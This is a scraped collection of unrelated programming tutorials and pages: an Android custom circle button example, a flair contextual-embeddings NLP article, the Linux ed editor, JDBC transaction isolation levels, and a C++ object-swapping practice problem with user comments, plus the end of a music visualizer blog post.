Re" }, { "code": null, "e": 4519, "s": 4502, "text": "Khalid - Vertigo" }, { "code": null, "e": 4552, "s": 4519, "text": "Shakey Graves - Family and Genus" }, { "code": null, "e": 4581, "s": 4552, "text": "Mumford & Sons - I Will Wait" }, { "code": null, "e": 4616, "s": 4581, "text": "Travis Scott - HIGHEST IN THE ROOM" }, { "code": null, "e": 4661, "s": 4616, "text": "Glass Animals, Denzel Curry - Tokyo Drifting" }, { "code": null, "e": 4947, "s": 4661, "text": "A good variety of genres is represented by these tracks. It was actually quite a challenge acquiring MP3 files without having to visit sketchy, virus-laden, and probably illegal sites. That being said, there is an option to upload your own track if you have a .mp3, .wav, or .ogg file." }, { "code": null, "e": 5160, "s": 4947, "text": "The coloring of the visualization is quite straightforward. An array of four colors is used to make up the color palette. The four colors are given in the following order: [(background), (bass), (mid), (treble)]." }, { "code": null, "e": 5435, "s": 5160, "text": "To allow for color switching, I came up with a total of 5 color palettes (red, orange, green, blue, and purple) and then added a simple keypress listener to iterate through the color palettes. Pressing the “Enter” key triggers this functionality, as well as double clicking." }, { "code": null, "e": 5555, "s": 5435, "text": "You can pause or play the track by clicking the “Space” key or by clicking the toggle button in the bottom left corner." }, { "code": null, "e": 6028, "s": 5555, "text": "In the demonstration above, we see the song “Where I Wanna Be” by A R I Z O N A brought to life in the visualization. This song has a characteristically fast tempo, which is reflected by the frequent contractions of the polygons whenever the frequencies change in accordance with the beat. It is also very satisfying to hit the “Enter” key on each beat because the color changes make the visualization feel very vibrant, almost like you might find at a disco or nightclub." }, { "code": null, "e": 6862, "s": 6028, "text": "The song “Tokyo Drifting” by the Glass Animals and Denzel Curry has been a favorite of mine as of late. My good friend sent it to me a while back, and I didn’t get what the hype was all about, but each time I listen to it, I come to appreciate it more. I recorded a snippet of the visualization in the video embed above primarily because the intro to the song is fascinating to watch. Since there are not a lot of audio channels being mixed at once during the first few seconds of the song, each semi-creepy sound has a direct correlation to some visual component. Then, at 0:27, there is a huge beat drop that completely sucks you into the rest of the track. The beat is quite prominent throughout the whole song, and its significance is reflected in the size of each beat pulsation represented by the light blue color in the video." }, { "code": null, "e": 7020, "s": 6862, "text": "Automatically pull new music from some music streaming service so that I (and others) can visit this visualization app to listen to and experience new music." }, { "code": null, "e": 7139, "s": 7020, "text": "Develop a more creative music visualization that is more thematic according to a song or artist rather than geometric." }, { "code": null, "e": 7257, "s": 7139, "text": "Make a mobile app that runs this code in a more elegant way (some of the components are a bit janky in this web app)." }, { "code": null, "e": 7304, "s": 7257, "text": "Build a GAN that generates music continuously." }, { "code": null, "e": 7339, "s": 7304, "text": "The source code can be found here:" }, { "code": null, "e": 7350, "s": 7339, "text": "github.com" }, { "code": null, "e": 7701, "s": 7350, "text": "This was just my first project involving music visualization using Javascript. I definitely intend to keep improving this project, and I also hope to pivot to other interesting applications and development tools related to music. If you would like to send me any feedback or inspiration, please contact me at sejaldua@gmail.com or through my website." } ]
How to get Custom circle button in android?
This example demonstrates how to get Custom circle button in android. Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project. Step 2 − Add the following code to res/layout/actiivity_main.xml. <?xml version = "1.0" encoding = "utf-8"?> <LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android" android:id = "@+id/parent" xmlns:tools = "http://schemas.android.com/tools" android:layout_width = "match_parent" android:layout_height = "match_parent" tools:context = ".MainActivity" android:gravity = "center" android:orientation = "vertical"> <Button android:id = "@+id/text" android:textSize = "18sp" android:textAlignment = "center" android:background = "@drawable/round_button" android:layout_width = "150dp" android:textColor = "#000" android:layout_height = "150dp" /> </LinearLayout> In the above code, we have taken the button with a round_button background. so create round_button.xml in drawable folder and add the following code. <?xml version = "1.0" encoding = "utf-8"?> <selector xmlns:android = "http://schemas.android.com/apk/res/android"> <item android:state_pressed = "false"> <shape android:shape = "oval"> <solid android:color = "#ffff00"/> </shape> </item> <item android:state_pressed = "true"> <shape android:shape = "oval"> <solid android:color = "#fff000"/> </shape> </item> </selector> In the above code, we have taken two states as pressed on button and release button. when a user clicks on a button it will take the state of the button and provide shape for the button. Step 3 − Add the following code to src/MainActivity.java package com.example.andy.myapplication; import android.content.res.Configuration; import android.os.Build; import android.os.Bundle; import android.support.annotation.RequiresApi; import android.support.v7.app.AppCompatActivity; import android.widget.Button; import android.widget.TextView; public class MainActivity extends AppCompatActivity { int view = R.layout.activity_main; Button button; @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(view); button = findViewById(R.id.text); button.setText("Button"); } } Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen − In the above result, it shows the default screen, click on a button, it will change the color of a button as shown below - Click here to download the project code
[ { "code": null, "e": 1132, "s": 1062, "text": "This example demonstrates how to get Custom circle button in android." }, { "code": null, "e": 1261, "s": 1132, "text": "Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project." }, { "code": null, "e": 1327, "s": 1261, "text": "Step 2 − Add the following code to res/layout/actiivity_main.xml." }, { "code": null, "e": 2004, "s": 1327, "text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<LinearLayout xmlns:android = \"http://schemas.android.com/apk/res/android\"\n android:id = \"@+id/parent\"\n xmlns:tools = \"http://schemas.android.com/tools\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"match_parent\"\n tools:context = \".MainActivity\"\n android:gravity = \"center\"\n android:orientation = \"vertical\">\n <Button\n android:id = \"@+id/text\"\n android:textSize = \"18sp\"\n android:textAlignment = \"center\"\n android:background = \"@drawable/round_button\"\n android:layout_width = \"150dp\"\n android:textColor = \"#000\"\n android:layout_height = \"150dp\" />\n</LinearLayout>" }, { "code": null, "e": 2154, "s": 2004, "text": "In the above code, we have taken the button with a round_button background. so create round_button.xml in drawable folder and add the following code." }, { "code": null, "e": 2578, "s": 2154, "text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<selector xmlns:android = \"http://schemas.android.com/apk/res/android\">\n <item android:state_pressed = \"false\">\n <shape android:shape = \"oval\">\n <solid android:color = \"#ffff00\"/>\n </shape>\n </item>\n <item android:state_pressed = \"true\">\n <shape android:shape = \"oval\">\n <solid android:color = \"#fff000\"/>\n </shape>\n </item>\n</selector>" }, { "code": null, "e": 2765, "s": 2578, "text": "In the above code, we have taken two states as pressed on button and release button. when a user clicks on a button it will take the state of the button and provide shape for the button." }, { "code": null, "e": 2822, "s": 2765, "text": "Step 3 − Add the following code to src/MainActivity.java" }, { "code": null, "e": 3495, "s": 2822, "text": "package com.example.andy.myapplication;\nimport android.content.res.Configuration;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.support.annotation.RequiresApi;\nimport android.support.v7.app.AppCompatActivity;\nimport android.widget.Button;\nimport android.widget.TextView;\npublic class MainActivity extends AppCompatActivity {\n int view = R.layout.activity_main;\n Button button;\n @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN)\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(view);\n button = findViewById(R.id.text);\n button.setText(\"Button\");\n }\n}" }, { "code": null, "e": 3842, "s": 3495, "text": "Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen −" }, { "code": null, "e": 3965, "s": 3842, "text": "In the above result, it shows the default screen, click on a button, it will change the color of a button as shown below -" }, { "code": null, "e": 4005, "s": 3965, "text": "Click here to download the project code" } ]
Contextual Embeddings for NLP Sequence Labeling | by Edward Ma | Towards Data Science
Text representation (aka text embeddings) is a breakthrough of solving NLP tasks. At the beginning, single word vector represent a word even though carrying different meaning among context. For example, “Washington” can be a location, name or state. “University of Washington” Zalando released an amazing NLP library, flair, makes our life easier. It already implement their contextual string embeddings algorithm and other classic and state-of-the-art text representation algorithms. In this story, you will understand the architecture and design of contextual string embeddings for sequence labeling with some sample codes. The overall design is that passing a sentence to Character Language Model to retrieve Contextual Embeddings such that Sequence Labeling Model can classify the entity Different from classical word embeddings, Akbik et al. declares it as contextualized word embeddings. In other word, the word embeddings capture word semantics in context such that it can represent differently under different even though it is same word. You may reach out Contextualized Word Vectors (CoVe) and Embeddings from Language Models (ELMo) for more detail. Albik et al. named their embeddings as Contextual String Embeddings. Unlike other model, it is based on character level tokenization rather than word level tokenization. In other word, it will convert sentence to a sequence of characters and go through language model to learn word representation. Taking “Washington” as an example, The bidirectional LSTM model allows “Washington” to retrieve information from previous word (i.e. George) and next words (i.e. was born) such that it can compute the vectors under a sentential context. Vectors is concatenates by forward neural network and backward neutral network. For forward neural network, hidden state after the last character in the word (i.e. “n”) will be extracted. Hidden state before the first character in the word (i.e. “W”) will be extracted from backward neural network. Same as other studying, Akbik et al. utilized stacking embeddings to achieve a better result. Stacking embeddings means combine multiple embeddgins to represent a word. For example, Akbik et al. concatenate contextual embeddings and GloVe embeddings to represent a word for sequence tagging. Contextual Embeddings from Character Language Model and GloVe Embeddings are passed to Bidirectional LSTM-CRF architecture to solve the Named-Entity Recognition(NER) problem. Only need to execute the following command to load the pre-trained NER tagger. from flair.data import Sentencefrom flair.models import SequenceTaggertagger = SequenceTagger.load('ner') After that, you can simply pass the sentence to Sentence object then executing the prediction. sample_texts = [ "I studied in University of Washington.",]for text in sample_texts: print('-' * 50) print('Original Text') print(text) print('NER Result') sentence = Sentence(text) tagger.predict(sentence) for entity in sentence.get_spans('ner'): print(entity) And the result is Original Text:I studied in University of Washington.NER Result:ORG-span [4,5,6]: "University of Washington." It is as easier as NER. from flair.data import Sentencefrom flair.models import TextClassifierclassifier = TextClassifier.load('en-sentiment') Passing sentence to pre-trained classifier sample_texts = [ "Medium is a good platform for sharing idea",]for text in sample_texts: print('-' * 50) print('Original Text') print(text) print('Classification Result') sentence = Sentence(text) classifier.predict(sentence) print(sentence.labels) And result is Original Text:Medium is a good platform for sharing idea Classification Result: [POSITIVE (0.7012046575546265)] To access all code, you can visit this CoLab Notebook. Besides pretrained flair contextual embeddings, we can not only apply classic embeddings method such as GloVe, word2vec but also state-of-the-art embeddings method such as ELMo and BERT as well. You can visit this guideline for reference. We can also implement stacking embeddings very easy. Just need few codes. You can visit this guideline for reference. If you want to train custom model on your data, this guideline will be useful for you. Akbik A., Blythe D. Vollgraf R. 2018. Contextual String Embeddings for Sequence Labeling. flair in Pytorch
[ { "code": null, "e": 448, "s": 171, "text": "Text representation (aka text embeddings) is a breakthrough of solving NLP tasks. At the beginning, single word vector represent a word even though carrying different meaning among context. For example, “Washington” can be a location, name or state. “University of Washington”" }, { "code": null, "e": 656, "s": 448, "text": "Zalando released an amazing NLP library, flair, makes our life easier. It already implement their contextual string embeddings algorithm and other classic and state-of-the-art text representation algorithms." }, { "code": null, "e": 797, "s": 656, "text": "In this story, you will understand the architecture and design of contextual string embeddings for sequence labeling with some sample codes." }, { "code": null, "e": 963, "s": 797, "text": "The overall design is that passing a sentence to Character Language Model to retrieve Contextual Embeddings such that Sequence Labeling Model can classify the entity" }, { "code": null, "e": 1400, "s": 963, "text": "Different from classical word embeddings, Akbik et al. declares it as contextualized word embeddings. In other word, the word embeddings capture word semantics in context such that it can represent differently under different even though it is same word. You may reach out Contextualized Word Vectors (CoVe) and Embeddings from Language Models (ELMo) for more detail. Albik et al. named their embeddings as Contextual String Embeddings." }, { "code": null, "e": 1629, "s": 1400, "text": "Unlike other model, it is based on character level tokenization rather than word level tokenization. In other word, it will convert sentence to a sequence of characters and go through language model to learn word representation." }, { "code": null, "e": 1866, "s": 1629, "text": "Taking “Washington” as an example, The bidirectional LSTM model allows “Washington” to retrieve information from previous word (i.e. George) and next words (i.e. was born) such that it can compute the vectors under a sentential context." }, { "code": null, "e": 2165, "s": 1866, "text": "Vectors is concatenates by forward neural network and backward neutral network. For forward neural network, hidden state after the last character in the word (i.e. “n”) will be extracted. Hidden state before the first character in the word (i.e. “W”) will be extracted from backward neural network." }, { "code": null, "e": 2334, "s": 2165, "text": "Same as other studying, Akbik et al. utilized stacking embeddings to achieve a better result. Stacking embeddings means combine multiple embeddgins to represent a word." }, { "code": null, "e": 2457, "s": 2334, "text": "For example, Akbik et al. concatenate contextual embeddings and GloVe embeddings to represent a word for sequence tagging." }, { "code": null, "e": 2632, "s": 2457, "text": "Contextual Embeddings from Character Language Model and GloVe Embeddings are passed to Bidirectional LSTM-CRF architecture to solve the Named-Entity Recognition(NER) problem." }, { "code": null, "e": 2711, "s": 2632, "text": "Only need to execute the following command to load the pre-trained NER tagger." }, { "code": null, "e": 2817, "s": 2711, "text": "from flair.data import Sentencefrom flair.models import SequenceTaggertagger = SequenceTagger.load('ner')" }, { "code": null, "e": 2912, "s": 2817, "text": "After that, you can simply pass the sentence to Sentence object then executing the prediction." }, { "code": null, "e": 3189, "s": 2912, "text": "sample_texts = [ \"I studied in University of Washington.\",]for text in sample_texts: print('-' * 50) print('Original Text') print(text) print('NER Result') sentence = Sentence(text) tagger.predict(sentence) for entity in sentence.get_spans('ner'): print(entity)" }, { "code": null, "e": 3207, "s": 3189, "text": "And the result is" }, { "code": null, "e": 3316, "s": 3207, "text": "Original Text:I studied in University of Washington.NER Result:ORG-span [4,5,6]: \"University of Washington.\"" }, { "code": null, "e": 3340, "s": 3316, "text": "It is as easier as NER." }, { "code": null, "e": 3459, "s": 3340, "text": "from flair.data import Sentencefrom flair.models import TextClassifierclassifier = TextClassifier.load('en-sentiment')" }, { "code": null, "e": 3502, "s": 3459, "text": "Passing sentence to pre-trained classifier" }, { "code": null, "e": 3763, "s": 3502, "text": "sample_texts = [ \"Medium is a good platform for sharing idea\",]for text in sample_texts: print('-' * 50) print('Original Text') print(text) print('Classification Result') sentence = Sentence(text) classifier.predict(sentence) print(sentence.labels)" }, { "code": null, "e": 3777, "s": 3763, "text": "And result is" }, { "code": null, "e": 3889, "s": 3777, "text": "Original Text:Medium is a good platform for sharing idea Classification Result: [POSITIVE (0.7012046575546265)]" }, { "code": null, "e": 3944, "s": 3889, "text": "To access all code, you can visit this CoLab Notebook." }, { "code": null, "e": 4183, "s": 3944, "text": "Besides pretrained flair contextual embeddings, we can not only apply classic embeddings method such as GloVe, word2vec but also state-of-the-art embeddings method such as ELMo and BERT as well. You can visit this guideline for reference." }, { "code": null, "e": 4301, "s": 4183, "text": "We can also implement stacking embeddings very easy. Just need few codes. You can visit this guideline for reference." }, { "code": null, "e": 4388, "s": 4301, "text": "If you want to train custom model on your data, this guideline will be useful for you." }, { "code": null, "e": 4478, "s": 4388, "text": "Akbik A., Blythe D. Vollgraf R. 2018. Contextual String Embeddings for Sequence Labeling." } ]
ed command in Linux with examples - GeeksforGeeks
15 May, 2019 ed command in Linux is used for launching the ed text editor which is a line-based text editor with a minimal interface which makes it less complex for working on text files i.e creating, editing, displaying and manipulating files. It is the oldest editor built in the Unix. It is succeeded by vi and emacs text editor. Syntax: ed [options] [file] ed command without any option: It will launch the ed editor with an empty buffer for us to write, this is similar to the other visual or command line based editor when invoked without a filename. The simplest way to start the ed text editor is by typing “ed” into the terminal. Example 1: Here we have not specified the filename so this will create an empty buffer for us to write. Example 2: To Enter into insert mode press “a” and when you are done writing stop it by “.” (dot). Example 3: To view, the last line enter “p” into the ed command prompt. Example 4: To print all the lines that we inserted in the buffer by using “, p”. Example 5: To save these lines into a file write “f [filename]”. Example 6: Type “w” in ed command prompt to write the data into the file and see how many bytes are written. Example 7: The file now has data and we can exit to the terminal by pressing “Q” at ed command prompt. linux-command Linux-text-processing-commands Picked Linux-Unix Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments scp command in Linux with Examples nohup Command in Linux with Examples mv command in Linux with examples chown command in Linux with Examples Docker - COPY Instruction Thread functions in C/C++ nslookup command in Linux with Examples SED command in Linux | Set 2 Named Pipe or FIFO with example C program uniq Command in LINUX with examples
[ { "code": null, "e": 24015, "s": 23987, "text": "\n15 May, 2019" }, { "code": null, "e": 24335, "s": 24015, "text": "ed command in Linux is used for launching the ed text editor which is a line-based text editor with a minimal interface which makes it less complex for working on text files i.e creating, editing, displaying and manipulating files. It is the oldest editor built in the Unix. It is succeeded by vi and emacs text editor." }, { "code": null, "e": 24343, "s": 24335, "text": "Syntax:" }, { "code": null, "e": 24363, "s": 24343, "text": "ed [options] [file]" }, { "code": null, "e": 24641, "s": 24363, "text": "ed command without any option: It will launch the ed editor with an empty buffer for us to write, this is similar to the other visual or command line based editor when invoked without a filename. The simplest way to start the ed text editor is by typing “ed” into the terminal." }, { "code": null, "e": 24652, "s": 24641, "text": "Example 1:" }, { "code": null, "e": 24745, "s": 24652, "text": "Here we have not specified the filename so this will create an empty buffer for us to write." }, { "code": null, "e": 24844, "s": 24745, "text": "Example 2: To Enter into insert mode press “a” and when you are done writing stop it by “.” (dot)." }, { "code": null, "e": 24916, "s": 24844, "text": "Example 3: To view, the last line enter “p” into the ed command prompt." }, { "code": null, "e": 24997, "s": 24916, "text": "Example 4: To print all the lines that we inserted in the buffer by using “, p”." }, { "code": null, "e": 25062, "s": 24997, "text": "Example 5: To save these lines into a file write “f [filename]”." }, { "code": null, "e": 25171, "s": 25062, "text": "Example 6: Type “w” in ed command prompt to write the data into the file and see how many bytes are written." }, { "code": null, "e": 25274, "s": 25171, "text": "Example 7: The file now has data and we can exit to the terminal by pressing “Q” at ed command prompt." }, { "code": null, "e": 25288, "s": 25274, "text": "linux-command" }, { "code": null, "e": 25319, "s": 25288, "text": "Linux-text-processing-commands" }, { "code": null, "e": 25326, "s": 25319, "text": "Picked" }, { "code": null, "e": 25337, "s": 25326, "text": "Linux-Unix" }, { "code": null, "e": 25435, "s": 25337, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25444, "s": 25435, "text": "Comments" }, { "code": null, "e": 25457, "s": 25444, "text": "Old Comments" }, { "code": null, "e": 25492, "s": 25457, "text": "scp command in Linux with Examples" }, { "code": null, "e": 25529, "s": 25492, "text": "nohup Command in Linux with Examples" }, { "code": null, "e": 25563, "s": 25529, "text": "mv command in Linux with examples" }, { "code": null, "e": 25600, "s": 25563, "text": "chown command in Linux with Examples" }, { "code": null, "e": 25626, "s": 25600, "text": "Docker - COPY Instruction" }, { "code": null, "e": 25652, "s": 25626, "text": "Thread functions in C/C++" }, { "code": null, "e": 25692, "s": 25652, "text": "nslookup command in Linux with Examples" }, { "code": null, "e": 25721, "s": 25692, "text": "SED command in Linux | Set 2" }, { "code": null, "e": 25763, "s": 25721, "text": "Named Pipe or FIFO with example C program" } ]
What are the transaction isolation levels supported by JDBC API?
JDBC provides support 5 transaction isolation levels through Connection interface. TRANSACTION_NONE: It is represented by integer value 0 does not support transactions. TRANSACTION_NONE: It is represented by integer value 0 does not support transactions. TRANSACTION_READ_COMMITTED: It is represented by integer value 2 supports transactions allowing Non-Repeatable Reads and, Phantom Reads. TRANSACTION_READ_COMMITTED: It is represented by integer value 2 supports transactions allowing Non-Repeatable Reads and, Phantom Reads. TRANSACTION_READ_UNCOMMITTED: It is represented by integer value 1 supports transactions allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads. TRANSACTION_READ_UNCOMMITTED: It is represented by integer value 1 supports transactions allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads. TRANSACTION_REPEATABLE_READ: It is represented by integer value 4 supports transactions allowing only Phantom Reads. TRANSACTION_REPEATABLE_READ: It is represented by integer value 4 supports transactions allowing only Phantom Reads. TRANSACTION_SERIALIZABLE: It is represented by integer value 8 supports transactions with out allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads. TRANSACTION_SERIALIZABLE: It is represented by integer value 8 supports transactions with out allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads. Following JDBC example displays all the transactions levels provided by the Connection interface of the JDBC API. import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class TransactionIsolationLevelExample { public static void main(String args[]) throws SQLException { //Registering the Driver DriverManager.registerDriver(new com.mysql.jdbc.Driver()); //Getting the connection String url = "jdbc:mysql://localhost/mydatabase"; Connection con = DriverManager.getConnection(url, "root", "password"); System.out.println("Connection established: "+ con); System.out.println("TRANSACTION_NONE: "+Connection.TRANSACTION_NONE); System.out.println("TRANSACTION_READ_COMMITTED:"+Connection.TRANSACTION_READ_COMMITTED); System.out.println("TRANSACTION_READ_UNCOMMITTED: "+Connection.TRANSACTION_READ_UNCOMMITTED); System.out.println("TRANSACTION_REPEATABLE_READ: "+Connection.TRANSACTION_REPEATABLE_READ); System.out.println("TRANSACTION_SERIALIZABLE: "+Connection.TRANSACTION_SERIALIZABLE); } } Connection established: com.mysql.jdbc.JDBC4Connection@6fdb1f78 TRANSACTION_NONE: 0 TRANSACTION_READ_COMMITTED:2 TRANSACTION_READ_UNCOMMITTED: 1 TRANSACTION_REPEATABLE_READ: 4 TRANSACTION_SERIALIZABLE: 8
[ { "code": null, "e": 1145, "s": 1062, "text": "JDBC provides support 5 transaction isolation levels through Connection interface." }, { "code": null, "e": 1231, "s": 1145, "text": "TRANSACTION_NONE: It is represented by integer value 0 does not support transactions." }, { "code": null, "e": 1317, "s": 1231, "text": "TRANSACTION_NONE: It is represented by integer value 0 does not support transactions." }, { "code": null, "e": 1454, "s": 1317, "text": "TRANSACTION_READ_COMMITTED: It is represented by integer value 2 supports transactions allowing Non-Repeatable Reads and, Phantom Reads." }, { "code": null, "e": 1591, "s": 1454, "text": "TRANSACTION_READ_COMMITTED: It is represented by integer value 2 supports transactions allowing Non-Repeatable Reads and, Phantom Reads." }, { "code": null, "e": 1743, "s": 1591, "text": "TRANSACTION_READ_UNCOMMITTED: It is represented by integer value 1 supports transactions allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads." }, { "code": null, "e": 1895, "s": 1743, "text": "TRANSACTION_READ_UNCOMMITTED: It is represented by integer value 1 supports transactions allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads." }, { "code": null, "e": 2012, "s": 1895, "text": "TRANSACTION_REPEATABLE_READ: It is represented by integer value 4 supports transactions allowing only Phantom Reads." }, { "code": null, "e": 2129, "s": 2012, "text": "TRANSACTION_REPEATABLE_READ: It is represented by integer value 4 supports transactions allowing only Phantom Reads." }, { "code": null, "e": 2286, "s": 2129, "text": "TRANSACTION_SERIALIZABLE: It is represented by integer value 8 supports transactions with out allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads." }, { "code": null, "e": 2443, "s": 2286, "text": "TRANSACTION_SERIALIZABLE: It is represented by integer value 8 supports transactions with out allowing Dirty Reads, Non-Repeatable Reads and, Phantom Reads." }, { "code": null, "e": 2557, "s": 2443, "text": "Following JDBC example displays all the transactions levels provided by the Connection interface of the JDBC API." }, { "code": null, "e": 3545, "s": 2557, "text": "import java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.SQLException;\npublic class TransactionIsolationLevelExample {\n public static void main(String args[]) throws SQLException {\n //Registering the Driver\n DriverManager.registerDriver(new com.mysql.jdbc.Driver());\n //Getting the connection\n String url = \"jdbc:mysql://localhost/mydatabase\";\n Connection con = DriverManager.getConnection(url, \"root\", \"password\");\n System.out.println(\"Connection established: \"+ con);\n System.out.println(\"TRANSACTION_NONE: \"+Connection.TRANSACTION_NONE);\n System.out.println(\"TRANSACTION_READ_COMMITTED:\"+Connection.TRANSACTION_READ_COMMITTED);\n System.out.println(\"TRANSACTION_READ_UNCOMMITTED: \"+Connection.TRANSACTION_READ_UNCOMMITTED);\n System.out.println(\"TRANSACTION_REPEATABLE_READ: \"+Connection.TRANSACTION_REPEATABLE_READ);\n System.out.println(\"TRANSACTION_SERIALIZABLE: \"+Connection.TRANSACTION_SERIALIZABLE);\n }\n}" }, { "code": null, "e": 3749, "s": 3545, "text": "Connection established: com.mysql.jdbc.JDBC4Connection@6fdb1f78\nTRANSACTION_NONE: 0\nTRANSACTION_READ_COMMITTED:2\nTRANSACTION_READ_UNCOMMITTED: 1\nTRANSACTION_REPEATABLE_READ: 4\nTRANSACTION_SERIALIZABLE: 8" } ]
Swap the objects | Practice | GeeksforGeeks
Classes and objects are one of the most important part of C++. Here we will learn to use classes and objects and we'll swap the values of two objects. We'll provide name, number, and height for two objects. Input Format: The first line of input contains T denoting the number of testcases. T testcases follow. Each testcase contains two lines of input. The first line contains values for object1. The second line contains values for object2. Output Format: For each testcase, in a new line, print the required output (see example). Your Task: Since this is a function problem, you do not need take any input our output . Just complete the provided function swapper(Person **obj1, Person **obj2) that is a friend function of class Person. Just swap values of obj1 and obj2. Constraints: 1 <= T <= 100 1<= |name| <= 100 1 <= number <= 99999 1 <= height <= 10 Example: Input: 1 Morty 1234 6 Rick 5678 5 Output: Morty 1234 6 Rick 5678 5 Rick 5678 5 Morty 1234 6 Explanation: Testcase1: First we print the original values of obj1 and obj2 in two lines. The next two lines contain swapped values of obj1 and obj2. +2 ja90807 months ago void swapper(Person **obj1, Person **obj2){ Person *p3 = new Person(); p3 = *obj1; *obj1 = *obj2; *obj2 = p3; } 0 Shapnesh Singh Tiwari8 months ago Shapnesh Singh Tiwari https://youtu.be/54MGyb0zw-o -2 Radhika Gupta9 months ago Radhika Gupta C++ solution```void swapper(Person **obj1, Person **obj2){ //Your code here swap(*obj1, *obj2);}``` 0 snas289 months ago snas28 void swapper(Person **obj1, Person **obj2){ //Your code here Person *obj3 = *obj1; *obj1= *obj2; *obj2= obj3; } 0 3lit3coder10 months ago 3lit3coder 0 Shubham Kumar1 year ago Shubham Kumar void swapper(Person **obj1, Person **obj2){ swap(*obj1 , *obj2); //Your code here} 0 Debojyoti Sinha1 year ago Debojyoti Sinha Correct Answer.Correct AnswerExecution Time:0.01 void swapper(Person **obj1, Person **obj2){ swap(*obj1, *obj2);} 0 Amar Prakash1 year ago Amar Prakash void swapper(Person **obj1, Person **obj2){ //Your code here Person temp = **obj1; **obj1 = **obj2; **obj2 = temp; } 0 Grove Street2 years ago Grove Street swap(*obj1,*obj2); 0 Purvesh Patil2 years ago Purvesh Patil Person *temp; temp = *obj1; *obj1 = *obj2; *obj2 = temp; We strongly recommend solving this problem on your own before viewing its editorial. Do you still want to view the editorial? Login to access your submissions. Problem Contest Reset the IDE using the second button on the top right corner. Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints. You can access the hints to get an idea about what is expected of you as well as the final solution code. You can view the solutions submitted by other users from the submission tab.
[ { "code": null, "e": 435, "s": 226, "text": "Classes and objects are one of the most important part of C++. \nHere we will learn to use classes and objects and we'll swap the values of two objects. We'll provide name, number, and height for two objects. " }, { "code": null, "e": 670, "s": 435, "text": "Input Format:\nThe first line of input contains T denoting the number of testcases. T testcases follow. Each testcase contains two lines of input. The first line contains values for object1. The second line contains values for object2." }, { "code": null, "e": 760, "s": 670, "text": "Output Format:\nFor each testcase, in a new line, print the required output (see example)." }, { "code": null, "e": 1003, "s": 760, "text": "Your Task:\nSince this is a function problem, you do not need take any input our output . Just complete the provided function swapper(Person **obj1, Person **obj2) that is a friend function of class Person. Just swap values of obj1 and obj2." }, { "code": null, "e": 1087, "s": 1003, "text": "Constraints:\n1 <= T <= 100\n1<= |name| <= 100\n1 <= number <= 99999\n1 <= height <= 10" }, { "code": null, "e": 1191, "s": 1087, "text": "Example:\nInput:\n1\nMorty 1234 6\nRick 5678 5\nOutput:\nMorty 1234 6 \nRick 5678 5 \nRick 5678 5 \nMorty 1234 6" }, { "code": null, "e": 1341, "s": 1191, "text": "Explanation:\nTestcase1: First we print the original values of obj1 and obj2 in two lines. The next two lines contain swapped values of obj1 and obj2." }, { "code": null, "e": 1344, "s": 1341, "text": "+2" }, { "code": null, "e": 1363, "s": 1344, "text": "ja90807 months ago" }, { "code": null, "e": 1484, "s": 1363, "text": "void swapper(Person **obj1, Person **obj2){ Person *p3 = new Person(); p3 = *obj1; *obj1 = *obj2; *obj2 = p3; }" }, { "code": null, "e": 1486, "s": 1484, "text": "0" }, { "code": null, "e": 1520, "s": 1486, "text": "Shapnesh Singh Tiwari8 months ago" }, { "code": null, "e": 1542, "s": 1520, "text": "Shapnesh Singh Tiwari" }, { "code": null, "e": 1571, "s": 1542, "text": "https://youtu.be/54MGyb0zw-o" }, { "code": null, "e": 1574, "s": 1571, "text": "-2" }, { "code": null, "e": 1600, "s": 1574, "text": "Radhika Gupta9 months ago" }, { "code": null, "e": 1614, "s": 1600, "text": "Radhika Gupta" }, { "code": null, "e": 1720, "s": 1614, "text": "C++ solution```void swapper(Person **obj1, Person **obj2){ //Your code here swap(*obj1, *obj2);}```" }, { "code": null, "e": 1722, "s": 1720, "text": "0" }, { "code": null, "e": 1741, "s": 1722, "text": "snas289 months ago" }, { "code": null, "e": 1748, "s": 1741, "text": "snas28" }, { "code": null, "e": 1867, "s": 1748, "text": "void swapper(Person **obj1, Person **obj2){ //Your code here Person *obj3 = *obj1; *obj1= *obj2; *obj2= obj3;" }, { "code": null, "e": 1869, "s": 1867, "text": "}" }, { "code": null, "e": 1871, "s": 1869, "text": "0" }, { "code": null, "e": 1895, "s": 1871, "text": "3lit3coder10 months ago" }, { "code": null, "e": 1906, "s": 1895, "text": "3lit3coder" }, { "code": null, "e": 1908, "s": 1906, "text": "0" }, { "code": null, "e": 1932, "s": 1908, "text": "Shubham Kumar1 year ago" }, { "code": null, "e": 1946, "s": 1932, "text": "Shubham Kumar" }, { "code": null, "e": 2034, "s": 1946, "text": "void swapper(Person **obj1, Person **obj2){ swap(*obj1 , *obj2); //Your code here}" }, { "code": null, "e": 2036, 